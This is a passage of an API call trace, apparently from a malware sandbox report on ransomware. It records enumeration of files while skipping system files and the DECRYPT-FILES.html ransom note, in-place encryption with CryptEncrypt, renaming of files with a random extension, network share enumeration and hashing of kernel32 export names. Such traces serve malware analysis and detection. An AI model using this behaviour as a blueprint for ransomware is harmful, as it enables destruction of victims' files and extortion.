lstrcmpiW (lpString1="UserCache.bin", lpString2="autorun.inf") returned 1 [0075.877] lstrcmpiW (lpString1="UserCache.bin", lpString2="boot.ini") returned 1 [0075.877] lstrcmpiW (lpString1="UserCache.bin", lpString2="desktop.ini") returned 1 [0075.877] lstrcmpiW (lpString1="UserCache.bin", lpString2="ntuser.dat") returned 1 [0075.877] lstrcmpiW (lpString1="UserCache.bin", lpString2="iconcache.db") returned 1 [0075.877] lstrcmpiW (lpString1="UserCache.bin", lpString2="bootsect.bak") returned 1 [0075.878] lstrcmpiW (lpString1="UserCache.bin", lpString2="ntuser.dat.log") returned 1 [0075.878] lstrcmpiW (lpString1="UserCache.bin", lpString2="thumbs.db") returned 1 [0075.878] lstrcmpiW (lpString1="UserCache.bin", lpString2="Bootfont.bin") returned 1 [0075.878] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned 63 [0075.878] lstrlenW (lpString="UserCache.bin") returned 13 [0075.878] lstrcpyW (in: lpString1=0x321e380, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0075.878] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpString2="UserCache.bin" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" [0075.878] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.878] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0075.879] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x321db48 | out: lpFileSize=0x321db48*=77477) returned 1 [0075.879] CreateFileMappingW (hFile=0x434, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x438 [0075.879] MapViewOfFile (hFileMappingObject=0x438, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3220000 [0075.881] CryptGenRandom (in: hProv=0x680530, dwLen=0x20, pbBuffer=0x630000 | out: pbBuffer=0x630000) returned 1 [0075.881] CryptGenRandom (in: hProv=0x680530, dwLen=0x8, pbBuffer=0x630020 | out: pbBuffer=0x630020) returned 1 [0075.881] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0075.882] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f80000*, pdwDataLen=0x321dab0*=0x28, dwBufLen=0x100 | out: pbData=0x2f80000*, pdwDataLen=0x321dab0*=0x100) returned 1 [0075.882] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.921] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.921] UnmapViewOfFile (lpBaseAddress=0x3220000) returned 1 [0075.922] CloseHandle (hObject=0x438) returned 1 [0075.923] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.923] WriteFile (in: hFile=0x434, lpBuffer=0x2f80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321dad0, lpOverlapped=0x0 | out: lpBuffer=0x2f80000*, lpNumberOfBytesWritten=0x321dad0*=0x108, lpOverlapped=0x0) returned 1 [0075.924] CloseHandle (hObject=0x0) returned 0 [0075.924] CloseHandle (hObject=0x434) returned 1 [0075.926] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.927] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.927] GetTickCount () returned 0x20fc8 [0075.927] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.928] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0075.928] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0075.928] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.929] lstrcpyW (in: lpString1=0x2fa0000, lpString2="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" | out: lpString1="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" [0075.929] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0075.929] wsprintfW (in: param_1=0x321db80, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.KH4Dw9W") returned 84 [0075.929] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.KH4Dw9W" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.kh4dw9w"), dwFlags=0x0) returned 1 [0075.930] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.930] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.930] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.931] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x918dbab0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918dbab0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0075.931] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0075.931] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned 63 [0075.931] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.931] lstrcpyW (in: lpString1=0x321e380, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0075.931] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\wevkgn5.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\wevkgn5.dat" [0075.931] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.931] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.932] CloseHandle (hObject=0x0) returned 0 [0075.932] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.932] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x918dbab0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918dbab0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0075.932] FindClose (in: hFindFile=0x66d318 | out: hFindFile=0x66d318) returned 1 [0075.932] CloseHandle (hObject=0x42c) returned 1 [0075.932] FindNextFileW (in: hFindFile=0x66d2d8, lpFindFileData=0x321ee2c | out: lpFindFileData=0x321ee2c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x918dbab0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918dbab0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x6adfe8, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0075.932] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0075.932] FindNextFileW (in: hFindFile=0x66d2d8, lpFindFileData=0x321ee2c | out: lpFindFileData=0x321ee2c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x918dbab0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x918dbab0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6adfe8, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0075.932] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0075.932] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0075.933] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0075.933] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0075.933] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0075.933] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0075.933] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0075.933] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0075.933] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0075.933] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0075.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned 58 [0075.933] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.933] lstrcpyW (in: lpString1=0x321e5fc, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\" [0075.933] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\wevkgn5.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\wevkgn5.dat" [0075.933] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.933] CloseHandle (hObject=0x0) returned 0 [0075.934] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) Thread: id = 62 os_tid = 0xa84 [0056.604] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0056.605] CryptAcquireContextW (in: phProv=0x2f80004, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f80004*=0x6805b8) returned 1 [0056.605] CryptImportKey (in: hProv=0x6805b8, pbData=0x2eb0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x2f80008 | out: phKey=0x2f80008*=0x66ce58) returned 1 [0056.605] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x0, lphEnum=0x33dff58 | out: lphEnum=0x33dff58*=0x66ce98) returned 0x0 [0056.605] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0056.606] WNetEnumResourceW (in: hEnum=0x66ce98, lpcCount=0x33dff5c, lpBuffer=0x2fa0000, lpBufferSize=0x33dff54 | out: lpcCount=0x33dff5c, lpBuffer=0x2fa0000, lpBufferSize=0x33dff54) returned 0x0 [0056.606] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x2fa0000, lphEnum=0x33dff28 | out: lphEnum=0x33dff28*=0x6608d0) returned 0x0 [0056.625] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x2fb0000 [0056.625] WNetEnumResourceW (in: hEnum=0x6608d0, lpcCount=0x33dff2c, lpBuffer=0x2fb0000, lpBufferSize=0x33dff24 | out: lpcCount=0x33dff2c, lpBuffer=0x2fb0000, lpBufferSize=0x33dff24) returned 0x103 [0056.625] lstrlenA (lpString="kernel32.dll") returned 12 [0056.625] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0056.626] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0056.626] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0056.626] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0056.626] lstrlenA (lpString="ADDATOMA") returned 8 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0056.626] lstrlenA (lpString="ADDATOMW") returned 8 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0056.626] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0056.626] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0056.626] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0056.626] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0056.626] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0056.626] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0056.626] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0056.626] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0056.626] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0056.626] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0056.626] lstrcpyA (in: lpString1=0x33df298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0056.626] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0056.627] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0056.627] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0056.627] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0056.627] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0056.627] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0056.627] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0056.627] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0056.627] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0056.627] lstrlenA (lpString="BACKUPREAD") returned 10 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0056.627] lstrlenA (lpString="BACKUPSEEK") returned 10 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0056.627] lstrlenA (lpString="BACKUPWRITE") returned 11 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0056.627] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0056.627] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0056.627] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0056.627] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0056.627] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0056.627] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0056.628] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0056.628] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0056.628] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0056.628] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0056.628] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0056.628] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0056.628] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0056.628] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0056.628] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0056.628] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0056.628] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0056.628] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0056.628] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0056.628] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0056.628] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0056.628] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0056.628] lstrcpyA (in: lpString1=0x33df298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0056.629] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0056.629] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0056.629] lstrcpyA (in: lpString1=0x33df298, 